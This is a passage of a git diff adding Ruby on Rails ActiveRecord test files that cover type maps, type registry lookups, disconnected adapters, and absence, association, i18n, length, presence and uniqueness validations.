+        mapping.register_type(1, "string")
+
+        assert_equal "string", mapping.fetch(1) { "int" }
+        assert_equal "int", mapping.fetch(2) { "int" }
+      end
+
+      def test_fetch_yields_args
+        mapping = TypeMap.new
+
+        assert_equal "foo-1-2-3", mapping.fetch("foo", 1, 2, 3) { |*args| args.join("-") }
+        assert_equal "bar-1-2-3", mapping.fetch("bar", 1, 2, 3) { |*args| args.join("-") }
+      end
+
+      def test_fetch_memoizes
+        mapping = TypeMap.new
+
+        looked_up = false
+        mapping.register_type(1) do
+          fail if looked_up
+          looked_up = true
+          "string"
+        end
+
+        assert_equal "string", mapping.fetch(1)
+        assert_equal "string", mapping.fetch(1)
+      end
+
+      def test_fetch_memoizes_on_args
+        mapping = TypeMap.new
+        mapping.register_type("foo") { |*args| args.join("-") }
+
+        assert_equal "foo-1-2-3", mapping.fetch("foo", 1, 2, 3) { |*args| args.join("-") }
+        assert_equal "foo-2-3-4", mapping.fetch("foo", 2, 3, 4) { |*args| args.join("-") }
+      end
+
+      def test_register_clears_cache
+        mapping = TypeMap.new
+
+        mapping.register_type(1, "string")
+        mapping.lookup(1)
+        mapping.register_type(1, "int")
+
+        assert_equal "int", mapping.lookup(1)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/type/unsigned_integer_test.rb b/activerecord/test/cases/type/unsigned_integer_test.rb
new file mode 100644
index 0000000000..dd05cf3fff
--- /dev/null
+++ b/activerecord/test/cases/type/unsigned_integer_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module Type
+    class UnsignedIntegerTest < ActiveRecord::TestCase
+      test "unsigned int max value is in range" do
+        assert_equal(4294967295, UnsignedInteger.new.serialize(4294967295))
+      end
+
+      test "minus value is out of range" do
+        assert_raises(ActiveModel::RangeError) do
+          UnsignedInteger.new.serialize(-1)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/type_test.rb b/activerecord/test/cases/type_test.rb
new file mode 100644
index 0000000000..93ae563c8b
--- /dev/null
+++ b/activerecord/test/cases/type_test.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class TypeTest < ActiveRecord::TestCase
+  setup do
+    @old_registry = ActiveRecord::Type.registry
+    ActiveRecord::Type.registry = ActiveRecord::Type::AdapterSpecificRegistry.new
+  end
+
+  teardown do
+    ActiveRecord::Type.registry = @old_registry
+  end
+
+  test "registering a new type" do
+    type = Struct.new(:args)
+    ActiveRecord::Type.register(:foo, type)
+
+    assert_equal type.new(:arg), ActiveRecord::Type.lookup(:foo, :arg)
+  end
+
+  test "looking up a type for a specific adapter" do
+    type = Struct.new(:args)
+    pgtype = Struct.new(:args)
+    ActiveRecord::Type.register(:foo, type, override: false)
+    ActiveRecord::Type.register(:foo, pgtype, adapter: :postgresql)
+
+    assert_equal type.new, ActiveRecord::Type.lookup(:foo, adapter: :sqlite)
+    assert_equal pgtype.new, ActiveRecord::Type.lookup(:foo, adapter: :postgresql)
+  end
+
+  test "lookup defaults to the current adapter" do
+    current_adapter = ActiveRecord::Base.connection.adapter_name.downcase.to_sym
+    type = Struct.new(:args)
+    adapter_type = Struct.new(:args)
+    ActiveRecord::Type.register(:foo, type, override: false)
+    ActiveRecord::Type.register(:foo, adapter_type, adapter: current_adapter)
+
+    assert_equal adapter_type.new, ActiveRecord::Type.lookup(:foo)
+  end
+end
diff --git a/activerecord/test/cases/types_test.rb b/activerecord/test/cases/types_test.rb
new file mode 100644
index 0000000000..3f7fb0a604
--- /dev/null
+++ b/activerecord/test/cases/types_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class TypesTest < ActiveRecord::TestCase
+      def test_attributes_which_are_invalid_for_database_can_still_be_reassigned
+        type_which_cannot_go_to_the_database = Type::Value.new
+        def type_which_cannot_go_to_the_database.serialize(*)
+          raise
+        end
+        klass = Class.new(ActiveRecord::Base) do
+          self.table_name = "posts"
+          attribute :foo, type_which_cannot_go_to_the_database
+        end
+        model = klass.new
+
+        model.foo = "foo"
+        model.foo = "bar"
+
+        assert_equal "bar", model.foo
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/unconnected_test.rb b/activerecord/test/cases/unconnected_test.rb
new file mode 100644
index 0000000000..f4d8be5897
--- /dev/null
+++ b/activerecord/test/cases/unconnected_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class TestRecord < ActiveRecord::Base
+end
+
+class TestUnconnectedAdapter < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  def setup
+    @underlying = ActiveRecord::Base.connection
+    @specification = ActiveRecord::Base.remove_connection
+  end
+
+  teardown do
+    @underlying = nil
+    ActiveRecord::Base.establish_connection(@specification)
+    load_schema if in_memory_db?
+  end
+
+  def test_connection_no_longer_established
+    assert_raise(ActiveRecord::ConnectionNotEstablished) do
+      TestRecord.find(1)
+    end
+
+    assert_raise(ActiveRecord::ConnectionNotEstablished) do
+      TestRecord.new.save
+    end
+  end
+
+  def test_underlying_adapter_no_longer_active
+    assert !@underlying.active?, "Removed adapter should no longer be active"
+  end
+end
diff --git a/activerecord/test/cases/validations/absence_validation_test.rb b/activerecord/test/cases/validations/absence_validation_test.rb
new file mode 100644
index 0000000000..a997f8be9c
--- /dev/null
+++ b/activerecord/test/cases/validations/absence_validation_test.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/face"
+require "models/interest"
+require "models/man"
+require "models/topic"
+
+class AbsenceValidationTest < ActiveRecord::TestCase
+  def test_non_association
+    boy_klass = Class.new(Man) do
+      def self.name; "Boy" end
+      validates_absence_of :name
+    end
+
+    assert boy_klass.new.valid?
+    assert_not boy_klass.new(name: "Alex").valid?
+  end
+
+  def test_has_one_marked_for_destruction
+    boy_klass = Class.new(Man) do
+      def self.name; "Boy" end
+      validates_absence_of :face
+    end
+
+    boy = boy_klass.new(face: Face.new)
+    assert_not boy.valid?, "should not be valid if has_one association is present"
+    assert_equal 1, boy.errors[:face].size, "should only add one error"
+
+    boy.face.mark_for_destruction
+    assert boy.valid?, "should be valid if association is marked for destruction"
+  end
+
+  def test_has_many_marked_for_destruction
+    boy_klass = Class.new(Man) do
+      def self.name; "Boy" end
+      validates_absence_of :interests
+    end
+    boy = boy_klass.new
+    boy.interests << [i1 = Interest.new, i2 = Interest.new]
+    assert_not boy.valid?, "should not be valid if has_many association is present"
+
+    i1.mark_for_destruction
+    assert_not boy.valid?, "should not be valid if has_many association is present"
+
+    i2.mark_for_destruction
+    assert boy.valid?
+  end
+
+  def test_does_not_call_to_a_on_associations
+    boy_klass = Class.new(Man) do
+      def self.name; "Boy" end
+      validates_absence_of :face
+    end
+
+    face_with_to_a = Face.new
+    def face_with_to_a.to_a; ["(/)", '(\)']; end
+
+    assert_nothing_raised { boy_klass.new(face: face_with_to_a).valid? }
+  end
+
+  def test_validates_absence_of_virtual_attribute_on_model
+    repair_validations(Interest) do
+      Interest.send(:attr_accessor, :token)
+      Interest.validates_absence_of(:token)
+
+      interest = Interest.create!(topic: "Thought Leadering")
+      assert interest.valid?
+
+      interest.token = "tl"
+
+      assert interest.invalid?
+    end
+  end
+end
diff --git a/activerecord/test/cases/validations/association_validation_test.rb b/activerecord/test/cases/validations/association_validation_test.rb
new file mode 100644
index 0000000000..80fe375ae5
--- /dev/null
+++ b/activerecord/test/cases/validations/association_validation_test.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+require "models/man"
+require "models/interest"
+
+class AssociationValidationTest < ActiveRecord::TestCase
+  fixtures :topics
+
+  repair_validations(Topic, Reply)
+
+  def test_validates_associated_many
+    Topic.validates_associated(:replies)
+    Reply.validates_presence_of(:content)
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    t.replies << [r = Reply.new("title" => "A reply"), r2 = Reply.new("title" => "Another reply", "content" => "non-empty"), r3 = Reply.new("title" => "Yet another reply"), r4 = Reply.new("title" => "The last reply", "content" => "non-empty")]
+    assert !t.valid?
+    assert t.errors[:replies].any?
+    assert_equal 1, r.errors.count  # make sure all associated objects have been validated
+    assert_equal 0, r2.errors.count
+    assert_equal 1, r3.errors.count
+    assert_equal 0, r4.errors.count
+    r.content = r3.content = "non-empty"
+    assert t.valid?
+  end
+
+  def test_validates_associated_one
+    Reply.validates :topic, associated: true
+    Topic.validates_presence_of(:content)
+    r = Reply.new("title" => "A reply", "content" => "with content!")
+    r.topic = Topic.create("title" => "uhohuhoh")
+    assert !r.valid?
+    assert r.errors[:topic].any?
+    r.topic.content = "non-empty"
+    assert r.valid?
+  end
+
+  def test_validates_associated_marked_for_destruction
+    Topic.validates_associated(:replies)
+    Reply.validates_presence_of(:content)
+    t = Topic.new
+    t.replies << Reply.new
+    assert t.invalid?
+    t.replies.first.mark_for_destruction
+    assert t.valid?
+  end
+
+  def test_validates_associated_without_marked_for_destruction
+    reply = Class.new do
+      def valid?
+        true
+      end
+    end
+    Topic.validates_associated(:replies)
+    t = Topic.new
+    t.define_singleton_method(:replies) { [reply.new] }
+    assert t.valid?
+  end
+
+  def test_validates_associated_with_custom_message_using_quotes
+    Reply.validates_associated :topic, message: "This string contains 'single' and \"double\" quotes"
+    Topic.validates_presence_of :content
+    r = Reply.create("title" => "A reply", "content" => "with content!")
+    r.topic = Topic.create("title" => "uhohuhoh")
+    assert_not_operator r, :valid?
+    assert_equal ["This string contains 'single' and \"double\" quotes"], r.errors[:topic]
+  end
+
+  def test_validates_associated_missing
+    Reply.validates_presence_of(:topic)
+    r = Reply.create("title" => "A reply", "content" => "with content!")
+    assert !r.valid?
+    assert r.errors[:topic].any?
+
+    r.topic = Topic.first
+    assert r.valid?
+  end
+
+  def test_validates_presence_of_belongs_to_association__parent_is_new_record
+    repair_validations(Interest) do
+      # Note that Interest and Man have the :inverse_of option set
+      Interest.validates_presence_of(:man)
+      man = Man.new(name: "John")
+      interest = man.interests.build(topic: "Airplanes")
+      assert interest.valid?, "Expected interest to be valid, but was not. Interest should have a man object associated"
+    end
+  end
+
+  def test_validates_presence_of_belongs_to_association__existing_parent
+    repair_validations(Interest) do
+      Interest.validates_presence_of(:man)
+      man = Man.create!(name: "John")
+      interest = man.interests.build(topic: "Airplanes")
+      assert interest.valid?, "Expected interest to be valid, but was not. Interest should have a man object associated"
+    end
+  end
+end
diff --git a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
new file mode 100644
index 0000000000..703c24b340
--- /dev/null
+++ b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+
+class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
+  def setup
+    Topic.clear_validators!
+    @topic = Topic.new
+    I18n.backend = I18n::Backend::Simple.new
+  end
+
+  def reset_i18n_load_path
+    @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+    I18n.load_path.clear
+    I18n.backend = I18n::Backend::Simple.new
+    yield
+  ensure
+    I18n.load_path.replace @old_load_path
+    I18n.backend = @old_backend
+  end
+
+  # validates_associated: generate_message(attr_name, :invalid, :message => custom_message, :value => value)
+  def test_generate_message_invalid_with_default_message
+    assert_equal "is invalid", @topic.errors.generate_message(:title, :invalid, value: "title")
+  end
+
+  def test_generate_message_invalid_with_custom_message
+    assert_equal "custom message title", @topic.errors.generate_message(:title, :invalid, message: "custom message %{value}", value: "title")
+  end
+
+  # validates_uniqueness_of: generate_message(attr_name, :taken, :message => custom_message)
+  def test_generate_message_taken_with_default_message
+    assert_equal "has already been taken", @topic.errors.generate_message(:title, :taken, value: "title")
+  end
+
+  def test_generate_message_taken_with_custom_message
+    assert_equal "custom message title", @topic.errors.generate_message(:title, :taken, message: "custom message %{value}", value: "title")
+  end
+
+  # ActiveRecord#RecordInvalid exception
+
+  test "RecordInvalid exception can be localized" do
+    topic = Topic.new
+    topic.errors.add(:title, :invalid)
+    topic.errors.add(:title, :blank)
+    assert_equal "Validation failed: Title is invalid, Title can't be blank", ActiveRecord::RecordInvalid.new(topic).message
+  end
+
+  test "RecordInvalid exception translation falls back to the :errors namespace" do
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", errors: { messages: { record_invalid: "fallback message" } }
+      topic = Topic.new
+      topic.errors.add(:title, :blank)
+      assert_equal "fallback message", ActiveRecord::RecordInvalid.new(topic).message
+    end
+  end
+
+  test "translation for 'taken' can be overridden" do
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", errors: { attributes: { title: { taken: "Custom taken message" } } }
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, value: "title")
+    end
+  end
+
+  test "translation for 'taken' can be overridden in activerecord scope" do
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", activerecord: { errors: { messages: { taken: "Custom taken message" } } }
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, value: "title")
+    end
+  end
+
+  test "translation for 'taken' can be overridden in activerecord model scope" do
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", activerecord: { errors: { models: { topic: { taken: "Custom taken message" } } } }
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, value: "title")
+    end
+  end
+
+  test "translation for 'taken' can be overridden in activerecord attributes scope" do
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", activerecord: { errors: { models: { topic: { attributes: { title: { taken: "Custom taken message" } } } } } }
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, value: "title")
+    end
+  end
+end
diff --git a/activerecord/test/cases/validations/i18n_validation_test.rb b/activerecord/test/cases/validations/i18n_validation_test.rb
new file mode 100644
index 0000000000..b7c52ea18c
--- /dev/null
+++ b/activerecord/test/cases/validations/i18n_validation_test.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+
+class I18nValidationTest < ActiveRecord::TestCase
+  repair_validations(Topic, Reply)
+
+  def setup
+    repair_validations(Topic, Reply)
+    Reply.validates_presence_of(:title)
+    @topic = Topic.new
+    @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+    I18n.load_path.clear
+    I18n.backend = I18n::Backend::Simple.new
+    I18n.backend.store_translations("en", errors: { messages: { custom: nil } })
+  end
+
+  teardown do
+    I18n.load_path.replace @old_load_path
+    I18n.backend = @old_backend
+  end
+
+  def unique_topic
+    @unique ||= Topic.create title: "unique!"
+  end
+
+  def replied_topic
+    @replied_topic ||= begin
+      topic = Topic.create(title: "topic")
+      topic.replies << Reply.new
+      topic
+    end
+  end
+
+  # A set of common cases for ActiveModel::Validations message generation that
+  # are used to generate tests to keep things DRY
+  #
+  COMMON_CASES = [
+    # [ case,                              validation_options,            generate_message_options]
+    [ "given no options",                  {},                            {}],
+    [ "given custom message",              { message: "custom" },        { message: "custom" }],
+    [ "given if condition",                { if: lambda { true } },  {}],
+    [ "given unless condition",            { unless: lambda { false } }, {}],
+    [ "given option that is not reserved", { format: "jpg" },            { format: "jpg" }],
+    [ "given on condition",                { on: [:create, :update] },     {}]
+  ]
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_uniqueness_of on generated message #{name}" do
+      Topic.validates_uniqueness_of :title, validation_options
+      @topic.title = unique_topic.title
+      assert_called_with(@topic.errors, :generate_message, [:title, :taken, generate_message_options.merge(value: "unique!")]) do
+        @topic.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_associated on generated message #{name}" do
+      Topic.validates_associated :replies, validation_options
+      assert_called_with(replied_topic.errors, :generate_message, [:replies, :invalid, generate_message_options.merge(value: replied_topic.replies)]) do
+        replied_topic.save
+      end
+    end
+  end
+
+  def test_validates_associated_finds_custom_model_key_translation
+    I18n.backend.store_translations "en", activerecord: { errors: { models: { topic: { attributes: { replies: { invalid: "custom message" } } } } } }
+    I18n.backend.store_translations "en", activerecord: { errors: { messages: { invalid: "global message" } } }
+
+    Topic.validates_associated :replies
+    replied_topic.valid?
+    assert_equal ["custom message"], replied_topic.errors[:replies].uniq
+  end
+
+  def test_validates_associated_finds_global_default_translation
+    I18n.backend.store_translations "en", activerecord: { errors: { messages: { invalid: "global message" } } }
+
+    Topic.validates_associated :replies
+    replied_topic.valid?
+    assert_equal ["global message"], replied_topic.errors[:replies]
+  end
+end
diff --git a/activerecord/test/cases/validations/length_validation_test.rb b/activerecord/test/cases/validations/length_validation_test.rb
new file mode 100644
index 0000000000..87ce4c6f37
--- /dev/null
+++ b/activerecord/test/cases/validations/length_validation_test.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/owner"
+require "models/pet"
+require "models/person"
+
+class LengthValidationTest < ActiveRecord::TestCase
+  fixtures :owners
+
+  setup do
+    @owner = Class.new(Owner) do
+      def self.name; "Owner"; end
+    end
+  end
+
+  def test_validates_size_of_association
+    assert_nothing_raised { @owner.validates_size_of :pets, minimum: 1 }
+    o = @owner.new("name" => "nopets")
+    assert !o.save
+    assert o.errors[:pets].any?
+    o.pets.build("name" => "apet")
+    assert o.valid?
+  end
+
+  def test_validates_size_of_association_using_within
+    assert_nothing_raised { @owner.validates_size_of :pets, within: 1..2 }
+    o = @owner.new("name" => "nopets")
+    assert !o.save
+    assert o.errors[:pets].any?
+
+    o.pets.build("name" => "apet")
+    assert o.valid?
+
+    2.times { o.pets.build("name" => "apet") }
+    assert !o.save
+    assert o.errors[:pets].any?
+  end
+
+  def test_validates_size_of_association_utf8
+    @owner.validates_size_of :pets, minimum: 1
+    o = @owner.new("name" => "あいうえおかきくけこ")
+    assert !o.save
+    assert o.errors[:pets].any?
+    o.pets.build("name" => "あいうえおかきくけこ")
+    assert o.valid?
+  end
+
+  def test_validates_size_of_respects_records_marked_for_destruction
+    @owner.validates_size_of :pets, minimum: 1
+    owner = @owner.new
+    assert_not owner.save
+    assert owner.errors[:pets].any?
+    pet = owner.pets.build
+    assert owner.valid?
+    assert owner.save
+
+    pet_count = Pet.count
+    assert_not owner.update_attributes pets_attributes: [ { _destroy: 1, id: pet.id } ]
+    assert_not owner.valid?
+    assert owner.errors[:pets].any?
+    assert_equal pet_count, Pet.count
+  end
+
+  def test_validates_length_of_virtual_attribute_on_model
+    repair_validations(Pet) do
+      Pet.send(:attr_accessor, :nickname)
+      Pet.validates_length_of(:name, minimum: 1)
+      Pet.validates_length_of(:nickname, minimum: 1)
+
+      pet = Pet.create!(name: "Fancy Pants", nickname: "Fancy")
+
+      assert pet.valid?
+
+      pet.nickname = ""
+
+      assert pet.invalid?
+    end
+  end
+end
diff --git a/activerecord/test/cases/validations/presence_validation_test.rb b/activerecord/test/cases/validations/presence_validation_test.rb
new file mode 100644
index 0000000000..3ab1567b51
--- /dev/null
+++ b/activerecord/test/cases/validations/presence_validation_test.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/man"
+require "models/face"
+require "models/interest"
+require "models/speedometer"
+require "models/dashboard"
+
+class PresenceValidationTest < ActiveRecord::TestCase
+  class Boy < Man; end
+
+  repair_validations(Boy)
+
+  def test_validates_presence_of_non_association
+    Boy.validates_presence_of(:name)
+    b = Boy.new
+    assert b.invalid?
+
+    b.name = "Alex"
+    assert b.valid?
+  end
+
+  def test_validates_presence_of_has_one
+    Boy.validates_presence_of(:face)
+    b = Boy.new
+    assert b.invalid?, "should not be valid if has_one association missing"
+    assert_equal 1, b.errors[:face].size, "validates_presence_of should only add one error"
+  end
+
+  def test_validates_presence_of_has_one_marked_for_destruction
+    Boy.validates_presence_of(:face)
+    b = Boy.new
+    f = Face.new
+    b.face = f
+    assert b.valid?
+
+    f.mark_for_destruction
+    assert b.invalid?
+  end
+
+  def test_validates_presence_of_has_many_marked_for_destruction
+    Boy.validates_presence_of(:interests)
+    b = Boy.new
+    b.interests << [i1 = Interest.new, i2 = Interest.new]
+    assert b.valid?
+
+    i1.mark_for_destruction
+    assert b.valid?
+
+    i2.mark_for_destruction
+    assert b.invalid?
+  end
+
+  def test_validates_presence_doesnt_convert_to_array
+    speedometer = Class.new(Speedometer)
+    speedometer.validates_presence_of :dashboard
+
+    dash = Dashboard.new
+
+    # dashboard has to_a method
+    def dash.to_a; ["(/)", '(\)']; end
+
+    s = speedometer.new
+    s.dashboard = dash
+
+    assert_nothing_raised { s.valid? }
+  end
+
+  def test_validates_presence_of_virtual_attribute_on_model
+    repair_validations(Interest) do
+      Interest.send(:attr_accessor, :abbreviation)
+      Interest.validates_presence_of(:topic)
+      Interest.validates_presence_of(:abbreviation)
+
+      interest = Interest.create!(topic: "Thought Leadering", abbreviation: "tl")
+      assert interest.valid?
+
+      interest.abbreviation = ""
+
+      assert interest.invalid?
+    end
+  end
+
+  def test_validations_run_on_persisted_record
+    repair_validations(Interest) do
+      interest = Interest.new
+      interest.save!
+      assert_predicate interest, :valid?
+
+      Interest.validates_presence_of(:topic)
+
+      assert_not_predicate interest, :valid?
+    end
+  end
+
+  def test_validates_presence_with_on_context
+    repair_validations(Interest) do
+      Interest.validates_presence_of(:topic, on: :required_name)
+      interest = Interest.new
+      interest.save!
+      assert_not interest.valid?(:required_name)
+    end
+  end
+end
diff --git a/activerecord/test/cases/validations/uniqueness_validation_test.rb b/activerecord/test/cases/validations/uniqueness_validation_test.rb
new file mode 100644
index 0000000000..fad55916c7
--- /dev/null
+++ b/activerecord/test/cases/validations/uniqueness_validation_test.rb
@@ -0,0 +1,550 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+require "models/warehouse_thing"
+require "models/guid"
+require "models/event"
+require "models/dashboard"
+require "models/uuid_item"
+require "models/author"
+require "models/person"
+require "models/essay"
+
+class Wizard < ActiveRecord::Base
+  self.abstract_class = true
+
+  validates_uniqueness_of :name
+end
+
+class IneptWizard < Wizard
+  validates_uniqueness_of :city
+end
+
+class Conjurer < IneptWizard
+end
+
+class Thaumaturgist < IneptWizard
+end
+
+class ReplyTitle; end
+
+class ReplyWithTitleObject < Reply
+  validates_uniqueness_of :content, scope: :title
+
+  def title; ReplyTitle.new; end
+end
+
+class TopicWithUniqEvent < Topic
+  belongs_to :event, foreign_key: :parent_id
+  validates :event, uniqueness: true
+end
+
+class BigIntTest < ActiveRecord::Base
+  INT_MAX_VALUE = 2147483647
+  self.table_name = "cars"
+  validates :engines_count, uniqueness: true, inclusion: { in: 0..INT_MAX_VALUE }
+end
+
+class BigIntReverseTest < ActiveRecord::Base
+  INT_MAX_VALUE = 2147483647
+  self.table_name = "cars"
+  validates :engines_count, inclusion: { in: 0..INT_MAX_VALUE }
+  validates :engines_count, uniqueness: true
+end
+
+class CoolTopic < Topic
+  validates_uniqueness_of :id
+end
+
+class TopicWithAfterCreate < Topic
+  after_create :set_author
+
+  def set_author
+    update_attributes!(author_name: "#{title} #{id}")
+  end
+end
+
+class UniquenessValidationTest < ActiveRecord::TestCase
+  INT_MAX_VALUE = 2147483647
+
+  fixtures :topics, "warehouse-things"
+
+  repair_validations(Topic, Reply)
+
+  def test_validate_uniqueness
+    Topic.validates_uniqueness_of(:title)
+
+    t = Topic.new("title" => "I'm uniqué!")
+    assert t.save, "Should save t as unique"
+
+    t.content = "Remaining unique"
+    assert t.save, "Should still save t as unique"
+
+    t2 = Topic.new("title" => "I'm uniqué!")
+    assert !t2.valid?, "Shouldn't be valid"
+    assert !t2.save, "Shouldn't save t2 as unique"
+    assert_equal ["has already been taken"], t2.errors[:title]
+
+    t2.title = "Now I am really also unique"
+    assert t2.save, "Should now save t2 as unique"
+  end
+
+  def test_validate_uniqueness_with_alias_attribute
+    Topic.alias_attribute :new_title, :title
+    Topic.validates_uniqueness_of(:new_title)
+
+    topic = Topic.new(new_title: "abc")
+    assert topic.valid?
+  end
+
+  def test_validates_uniqueness_with_nil_value
+    Topic.validates_uniqueness_of(:title)
+
+    t = Topic.new("title" => nil)
+    assert t.save, "Should save t as unique"
+
+    t2 = Topic.new("title" => nil)
+    assert !t2.valid?, "Shouldn't be valid"
+    assert !t2.save, "Shouldn't save t2 as unique"
+    assert_equal ["has already been taken"], t2.errors[:title]
+  end
+
+  def test_validates_uniqueness_with_validates
+    Topic.validates :title, uniqueness: true
+    Topic.create!("title" => "abc")
+
+    t2 = Topic.new("title" => "abc")
+    assert !t2.valid?
+    assert t2.errors[:title]
+  end
+
+  def test_validate_uniqueness_when_integer_out_of_range
+    entry = BigIntTest.create(engines_count: INT_MAX_VALUE + 1)
+    assert_equal entry.errors[:engines_count], ["is not included in the list"]
+  end
+
+  def test_validate_uniqueness_when_integer_out_of_range_show_order_does_not_matter
+    entry = BigIntReverseTest.create(engines_count: INT_MAX_VALUE + 1)
+    assert_equal entry.errors[:engines_count], ["is not included in the list"]
+  end
+
+  def test_validates_uniqueness_with_newline_chars
+    Topic.validates_uniqueness_of(:title, case_sensitive: false)
+
+    t = Topic.new("title" => "new\nline")
+    assert t.save, "Should save t as unique"
+  end
+
+  def test_validate_uniqueness_with_scope
+    Reply.validates_uniqueness_of(:content, scope: "parent_id")
+
+    t = Topic.create("title" => "I'm unique!")
+
+    r1 = t.replies.create "title" => "r1", "content" => "hello world"
+    assert r1.valid?, "Saving r1"
+
+    r2 = t.replies.create "title" => "r2", "content" => "hello world"
+    assert !r2.valid?, "Saving r2 first time"
+
+    r2.content = "something else"
+    assert r2.save, "Saving r2 second time"
+
+    t2 = Topic.create("title" => "I'm unique too!")
+    r3 = t2.replies.create "title" => "r3", "content" => "hello world"
+    assert r3.valid?, "Saving r3"
+  end
+
+  def test_validate_uniqueness_with_object_scope
+    Reply.validates_uniqueness_of(:content, scope: :topic)
+
+    t = Topic.create("title" => "I'm unique!")
+
+    r1 = t.replies.create "title" => "r1", "content" => "hello world"
+    assert r1.valid?, "Saving r1"
+
+    r2 = t.replies.create "title" => "r2", "content" => "hello world"
+    assert !r2.valid?, "Saving r2 first time"
+  end
+
+  def test_validate_uniqueness_with_polymorphic_object_scope
+    Essay.validates_uniqueness_of(:name, scope: :writer)
+
+    a = Author.create(name: "Sergey")
+    p = Person.create(first_name: "Sergey")
+
+    e1 = a.essays.create(name: "Essay")
+    assert e1.valid?, "Saving e1"
+
+    e2 = p.essays.create(name: "Essay")
+    assert e2.valid?, "Saving e2"
+  end
+
+  def test_validate_uniqueness_with_composed_attribute_scope
+    r1 = ReplyWithTitleObject.create "title" => "r1", "content" => "hello world"
+    assert r1.valid?, "Saving r1"
+
+    r2 = ReplyWithTitleObject.create "title" => "r1", "content" => "hello world"
+    assert !r2.valid?, "Saving r2 first time"
+  end
+
+  def test_validate_uniqueness_with_object_arg
+    Reply.validates_uniqueness_of(:topic)
+
+    t = Topic.create("title" => "I'm unique!")
+
+    r1 = t.replies.create "title" => "r1", "content" => "hello world"
+    assert r1.valid?, "Saving r1"
+
+    r2 = t.replies.create "title" => "r2", "content" => "hello world"
+    assert !r2.valid?, "Saving r2 first time"
+  end
+
+  def test_validate_uniqueness_scoped_to_defining_class
+    t = Topic.create("title" => "What, me worry?")
+
+    r1 = t.unique_replies.create "title" => "r1", "content" => "a barrel of fun"
+    assert r1.valid?, "Saving r1"
+
+    r2 = t.silly_unique_replies.create "title" => "r2", "content" => "a barrel of fun"
+    assert !r2.valid?, "Saving r2"
+
+    # Should succeed as validates_uniqueness_of only applies to
+    # UniqueReply and its subclasses
+    r3 = t.replies.create "title" => "r2", "content" => "a barrel of fun"
+    assert r3.valid?, "Saving r3"
+  end
+
+  def test_validate_uniqueness_with_scope_array
+    Reply.validates_uniqueness_of(:author_name, scope: [:author_email_address, :parent_id])
+
+    t = Topic.create("title" => "The earth is actually flat!")
+
+    r1 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply"
+    assert r1.valid?, "Saving r1"
+
+    r2 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply again..."
+    assert !r2.valid?, "Saving r2. Double reply by same author."
+
+    r2.author_email_address = "jeremy_alt_email@rubyonrails.com"
+    assert r2.save, "Saving r2 the second time."
+
+    r3 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy_alt_email@rubyonrails.com", "title" => "You're wrong", "content" => "It's cubic"
+    assert !r3.valid?, "Saving r3"
+
+    r3.author_name = "jj"
+    assert r3.save, "Saving r3 the second time."
+
+    r3.author_name = "jeremy"
+    assert !r3.save, "Saving r3 the third time."
+  end
+
+  def test_validate_case_insensitive_uniqueness
+    Topic.validates_uniqueness_of(:title, :parent_id, case_sensitive: false, allow_nil: true)
+
+    t = Topic.new("title" => "I'm unique!", :parent_id => 2)
+    assert t.save, "Should save t as unique"
+
+    t.content = "Remaining unique"
+    assert t.save, "Should still save t as unique"
+
+    t2 = Topic.new("title" => "I'm UNIQUE!", :parent_id => 1)
+    assert !t2.valid?, "Shouldn't be valid"
+    assert !t2.save, "Shouldn't save t2 as unique"
+    assert t2.errors[:title].any?
+    assert t2.errors[:parent_id].any?
+    assert_equal ["has already been taken"], t2.errors[:title]
+
+    t2.title = "I'm truly UNIQUE!"
+    assert !t2.valid?, "Shouldn't be valid"
+    assert !t2.save, "Shouldn't save t2 as unique"
+    assert t2.errors[:title].empty?
+    assert t2.errors[:parent_id].any?
+
+    t2.parent_id = 4
+    assert t2.save, "Should now save t2 as unique"
+
+    t2.parent_id = nil
+    t2.title = nil
+    assert t2.valid?, "should validate with nil"
+    assert t2.save, "should save with nil"
+
